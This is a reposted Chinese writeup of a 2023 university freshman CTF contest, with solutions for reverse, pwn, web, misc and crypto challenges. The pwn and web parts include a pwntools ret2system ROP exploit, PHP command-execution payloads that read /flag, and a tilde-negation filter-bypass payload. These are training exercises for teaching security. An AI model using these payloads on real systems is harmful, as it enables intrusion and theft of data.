【竞赛】2023Dozer新生赛考核wp

WriteUp 6个月前 admin
62 0 0
点击上方蓝字给我们加星标⭐,不错过最新内容
新生赛总结

本次考核赛为线上考核,持续时间10月2日上午10:00至10月15日下午18:00。赛题分为:web,pwn,reverse,crypto,misc五个方向。经过两周的激烈角逐,孙士雅同学以总分13372位居第一,张雨锋同学以总分11835位居第二,杨鸿博同学以总分11278位居第三。

各班录取人数:23信安1班12人,23信安2班3人,23网安班12人

三名奖励如下:

            1. 机械鼠标+鼠标垫+贴纸

            2. 赠书*2+鼠标垫+贴纸

            3. 赠书+鼠标垫+贴纸


【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

以下本次为考核赛wp


REVERSE

ReallyEzre

C源代码,直接查看写exp【竞赛】2023Dozer新生赛考核wp

#define _crt_secure_no_warnings
#include<stdio.h>
#include<string.h>

int main()
{
char s[26] = "fq|gt}ygneqogavqaeartkogt";

for (int i = 0; i < strlen(s); i++)
{
s[i] -= 2;
}
printf("%s", s);

return 0;
}

maze

迷宫题,直接走出来md5(路径即可)

HelloIDA

ida装上,点击就送【竞赛】2023Dozer新生赛考核wp

HelloIDA_revenge

拖入ida,F12查看可疑字符串

【竞赛】2023Dozer新生赛考核wp点进去查看调用函数,找到main函数【竞赛】2023Dozer新生赛考核wp查看v3,发现是4+3【竞赛】2023Dozer新生赛考核wp【竞赛】2023Dozer新生赛考核wp字符串和7进行了异或,直接cyberchef一把梭【竞赛】2023Dozer新生赛考核wp

HelloAPK

这个题在出题时把页面的flag设置为透明的,这样就不会在应用界面看到了,我们需要利用jadx-gui反编译查找字符串【竞赛】2023Dozer新生赛考核wp


PWN

nc cat

用nc连接

然后cat flag拿到flag

nc cat_plus

用nc连上后ls查看没有flag

根据题目可知考察的是隐藏文件夹,那直接cat .flag

即可拿到flag

计算题

*第一种解法:*

纯手搓

*第二种解法:*

用python脚本跑,

from pwn import *

target = remote(‘8.130.87.205’, 3001)

for _ in range(50):

question = target.recvline().decode().strip().strip(“=”)print(“题目:”,question)

actual_answer = eval(question)target.sendline(str(actual_answer))target.recvuntil(“Answer correctly!n”)

target.interactive()

【竞赛】2023Dozer新生赛考核wp

猜数字

用ida64打开

【竞赛】2023Dozer新生赛考核wp

F5查看伪代码,可以看出这个题首先写了一个srand函数规定随机数种子的值,代表这是一个固定的随机数(伪随机数),然后要我们输入和随机数相同的数才能通过for,否则会重新进行循环。

当猜对10个数字即可进入shell函数

【竞赛】2023Dozer新生赛考核wp

#include <stdio.h>#include <stdlib.h>
int main() { int i,image,buf;
srand(0x22); for(i=0;i<=11;i++){ image=rand()%3; printf("%d ",image);
}}

【竞赛】2023Dozer新生赛考核wp

猜拳

首先用ida64打开,可以看出和猜拳类似,也是考的伪随机数。

【竞赛】2023Dozer新生赛考核wp

首先规定随机数种子,for循环50次,要我们输入的数和生成的随机数进行比较如果满足if就会退出,

我们要输入50个数字进行绕过if(即不能满足if)即可进入shell函数

【竞赛】2023Dozer新生赛考核wp

#include <stdio.h>#include <stdlib.h>
int main() { int i,image,buf;
srand(0x2a); for(i=0;i<=50;i++){ image=rand()%3; if(image==0) printf("2n"); if(image==1) printf("0n"); if(image==2) printf("1n");
}}

【竞赛】2023Dozer新生赛考核wp

超简单的stack over flow

用ExeinfoPe查看附件的架构(64位或者32位程序)

然后用对应ida打开,查看main函数,

F5反编译,查看伪代码。

【竞赛】2023Dozer新生赛考核wp

可以发现程序有gets函数,不限制我们字符串的输入长度,可以造成栈溢出,

【竞赛】2023Dozer新生赛考核wp

查看v4的栈长度,程序造成溢出后,我们可以控制程序执行任意代码,劫持程序的返回地址。

F12查看字符串,

【竞赛】2023Dozer新生赛考核wp

发现有命令执行函数system,和/bin/sh获取服务器shell。

【竞赛】2023Dozer新生赛考核wp

发现函数表中有可疑函数shell

【竞赛】2023Dozer新生赛考核wp

反编译shell函数,发现只有system,但是system并没有执行/bin/sh

所以我们需要用寄存器rdi给system函数传入/bin/sh来拿到shell

那我们怎么调用rdi呢

可以使用RDPgadget来查找rdi的gadgets

【竞赛】2023Dozer新生赛考核wp

然后我们给rdi传入/bin/sh的地址然后调用system

即可拿到shell

expfrom pwn import *r=process('./stack')#本地连接程序#r = remote('112.6.51.212',30189)#连接远程


payload=b'a'*0x78+p64(0x00000000004007e3)+p64(0x400808)+p64(0x40073B)#攻击链r.sendlineafter(b"overflowsnn",payload)#接收发送攻击链r.interactive()#直接进行交互,相当于回到shell的模式

【竞赛】2023Dozer新生赛考核wp

WEB

game

方法一:

打通游戏即可获得flag

方法二:

查看源代码直接获得flag

【竞赛】2023Dozer新生赛考核wp

你会用burpsuite吗

F12有提示

【竞赛】2023Dozer新生赛考核wp

打开 bp 抓包

【竞赛】2023Dozer新生赛考核wp

可以看到有 jsfuck 密码直接解密

【竞赛】2023Dozer新生赛考核wp

访问这个地址得到 flag

【竞赛】2023Dozer新生赛考核wp

你超逊的啦

这题给的hint是使用bp或者是hackbar,但是我看见有两位用的是不一样的方法,所以我来用四种方法解这

1

使用burpsuite

使用bp的点在于在进行post传参的时候要添加媒体类型信息Content-Type: application/x-www-form

urlencoded

【竞赛】2023Dozer新生赛考核wp

2

使用hackbar

【竞赛】2023Dozer新生赛考核wp

3

使用curl

【竞赛】2023Dozer新生赛考核wp

4

使用f12控制台

【竞赛】2023Dozer新生赛考核wp

easy_rce

payload:/?p=system('ls /');             //查看文件目录
  /?p=system('cat /flag');     //读文件内容
知识点:
request方法传参既能用get也能用post传

F12

打开题目

发现F12,和ctrl+u都不管用

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

解决方法是在网址栏前加view-source:

【竞赛】2023Dozer新生赛考核wp

house

直接查看源代码,在flag.min.js中看到flag位置

【竞赛】2023Dozer新生赛考核wp

发现是unicode编码,直接在线网站编译出flag

【竞赛】2023Dozer新生赛考核wp

hard_rce

分析题目,本题过滤了许多字符和全部字母,但没过滤取反符号和数字,所以采用取反绕过,取反代码:

<?php
echo urlencode(~'phpinfo');
?>

最终payload:

?cmd=(~%8C%86%8C%8B%9A%92)(~%93%8C);
?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5);

wonderful_pass

首先打开题目网页,看到的是一个前端页面,从这里找关键句:你可以在源码中找到你想要的东西哦,直接右键查看源代码

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

misc

签到

关注瞌睡虫小k,输入Dozer2023,即可获取flag

morse_code

歌最后有一段摩斯电码

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

开心的picture

打开是一张图片,binwalk分解出来压缩包,弱密码爆破,密码0721

Dozer{W0_caI_Bu_Sh1_y1u_zi_cHu}

充满禅意的嘲讽

【竞赛】2023Dozer新生赛考核wp

阴阳怪气解密+佛曰

阴阳怪气编码 (gitee.io)

与佛论禅加密版 (by950.top)

【竞赛】2023Dozer新生赛考核wp

小新被藏起来了

【竞赛】2023Dozer新生赛考核wp

云天明的故事

根据提示一步步解出flag

【竞赛】2023Dozer新生赛考核wp

Steg and CRC

【竞赛】2023Dozer新生赛考核wp

破碎的二维码

将二维码进行旋转拼接,扫码出现flag

easy的流量:)

打开流量包 筛选http流量 发现下载流量

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

一个txt文件和zip文件 手动保存zip文件

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

补全文件头

打开压缩包 发现hint

【竞赛】2023Dozer新生赛考核wp

用密码解压缩

打开发现

【竞赛】2023Dozer新生赛考核wp

根据hint给双密码

仿射密码解密

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

注意这个网站的算法是有问题的

【竞赛】2023Dozer新生赛考核wp

CTF在线工具-在线仿射密码加密|在线仿射密码解密|仿射密码算法|Affine Cipher (hiencode.com)

normal_zip

嵌套压缩包 ^^

要么手搓要么脚本(

import pyzipperimport os
def extract_nested_zip(zip_file): with pyzipper.AESZipFile(zip_file, 'r') as zipf: password_filename = None for file_info in zipf.filelist: if file_info.filename.startswith('password_'): password_filename = file_info.filename break if password_filename is None: print(f'未找到密码文件,无法解密压缩包 "{zip_file}"。') return with zipf.open(password_filename) as pwd_file: password = pwd_file.read().decode() with pyzipper.AESZipFile(zip_file, 'r', encryption=pyzipper.WZ_AES) as inner_zipf: for file_info in inner_zipf.filelist: inner_zipf.extract(file_info, path='.', pwd=password.encode()) print(f'已解压文件: {file_info.filename}') next_zip_filename = None for file_info in inner_zipf.filelist: if file_info.filename.endswith('.zip'): next_zip_filename = file_info.filename break if next_zip_filename: extract_nested_zip(next_zip_filename)
if __name__ == '__main__': outermost_zip_file = 'manyzip_499.zip' extract_nested_zip(outermost_zip_file)

脚本没优化 压缩包不会自己删除 会保留在本地(

【竞赛】2023Dozer新生赛考核wp

【竞赛】2023Dozer新生赛考核wp

crypto

base_family

base64解密->base32解密->base16解密

Dozer{Y0u_knOw_base_Fami1y}

FUCK

考察了两个密码。Brainfuck和JSFuck,直接按顺序解密就出来了

keyboard

提示特别明显,答案貌似被包裹起来了,直接键盘上找就行了。围一圈的中间那个字母

Cloud

这题是云影密码

原理很简单,有了1,2,4,8这四个简单的数字,你可以以加法表示出0-9任何一个数字,例如0=28,7=124,9=18。这样,再用1-26来表示A-Z,就可以用作密码了。为了不至于混乱,引用了第五个数字0,来用作间隔,以避免翻译错误,所以还可以称“01248密码”。

脚本

a="120222480111222448011224240112448014224201222201844201422084204242242012202224802120184420881210122408240124"s=a.split('0')print(s)l=[]for i in s:    sum=0    for j in i:        sum+=eval(j)    l.append(chr(sum+64))print(''.join(l))

你吃饭了吗

根据题目可以看出是培根密码,将10000换成a,00000换成b,即可解出

爱莉的秘密

就是凯撒加栅栏加rot13

easy_ras

网上找一个类似脚本直接跑就行

import libnum
import gmpy2


p = 134096351641873733136655136258930346068666059727369503282043358355700127445567145015864534393648722390354391864886220859764835960001384898109024177275632112341866578728402687911008617032055729760873500316750429826070955961883087776809018398637916325085984289076923243657957898725206939956833810785599676729081
q = 174103184868040863643318748725372782590375980254481106844909104639082212404057463322179700704433290948772456739103162440357371611490518612697711739090944270430948454322201815911126010072979510574940873419522755545296895048058252502599021139498869173058848513456305201212185556602542021019786049803486761575619
e = 65537
n = 23346601900034957555688205728495241197603710402649144851787338023529721742194127312047817399657806766767609016899148890792321953032265424697519828450283061929215380561118334803838533435756788037558393172185799965795876666508514498912225616313132295758111963327975946691723015094769391915622723746219695635703244442263293688623076006730992652392943763278634358911926029815126546840504505510331787504021704653483109395844912490151355318632539550539120625649870737699418228432053253123075546330645737636906674371251100640653395805629579624694238594583468588747282098538736123706732879326510925267827419261467515757876139
c = 21059425587138275177851133719489520191806374210483381046129196548327926882726571104652182980009173089102114951221766632805478392995791154212734039464866621083806832531787252690774774079642174403366738764142141333611676848288053968926219012504301602753768504662298743543510989548687429433750042177449318246891000022681153221275734518915972309438820282840114939223344564087181810107485654527166576224292423298530128805470851466693656140130112962076400703900223613390342448935776739787297327454611230862799071044833028841126247371401388582818660833906604610436650137961239491977984238538541018508899164870408658111225592


phi = (p-1)*(q-1)


d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, n)


print(libnum.n2s(int(m)).decode())

或者用工具

【竞赛】2023Dozer新生赛考核wp

hard_rsa

通过给出的n分解p,q

用已经得出的p,q,赋值给解密rsa的脚本

只要知道p和q,得到d,就能解出rsa,直接用脚本开跑得出flag

这里给出一个解题脚本不唯一

flag:

Dozer{20d6e2da95dcc1fa5f5432a436c4be18}

import  gmpy2import libnumdef isqrt(n):  x = n  y = (x + n // x) // 2  while y < x:    x = y    y = (x + n // x) // 2  return x
def fermat(n, verbose=True): a = isqrt(n) b2 = a*a - n b = isqrt(n) count = 0 while b*b != b2: a = a + 1 b2 = a*a - n b = isqrt(b2) count += 1 p=a+b q=a-b assert n == p * q print('p=',p) print('q=',q) return p, qn= 9902818856222787024563072133440550938710227558135328161789597975061589956056992262033542077154303618976791004431333531566549039602180273711537029693586182757724092450368200557073359408363479337363507885859556647468887536468774671586957716873885078043767796679063965432886918774554067185434296238290330438435760966311141004960151482088020397079850490003346872012237936581379969498669060779635164715522140773054302161538487178356007181001168935521820750705451939658389744968102068056144618223821116178519113949752796472136437303624285646057868957254876748746072125760376198949315110236060132257629082612239437688267817e= 65537c= 5159074368161541220237618453546581685955484179084194024992550056500438408178271386314960904546540848345370535310245598908803315809660211277776672289921238267645740671269916277896450223256967608644746977632342909627272084837606715644342530689351173316353848189214669987733795167033379669336141047211939013874739278870794953469189661132687676706346507396405946492642648897990248958917013256337570746910017175346336103441528515091504265815800116946786279239756724184064237114695548319993781206797074067095779971390244729292540495903352355048685746842568533136142923146303443882436592305037659264720790923302870859093878pq=fermat(n)p=pq[0]q=pq[1]phi_n=(p-1)*(q-1)d=gmpy2.invert(e,phi_n)m=pow(c,d,n)print(m)print(libnum.n2s(int(m)).decode())






























浪费您一秒时间



【竞赛】2023Dozer新生赛考核wp

点个关注不迷路~
【竞赛】2023Dozer新生赛考核wp


瞌睡虫小k
【竞赛】2023Dozer新生赛考核wp
【竞赛】2023Dozer新生赛考核wp


原文始发于微信公众号(瞌睡虫小K):【竞赛】2023Dozer新生赛考核wp

版权声明:admin 发表于 2023年10月28日 下午8:45。
转载请注明:【竞赛】2023Dozer新生赛考核wp | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...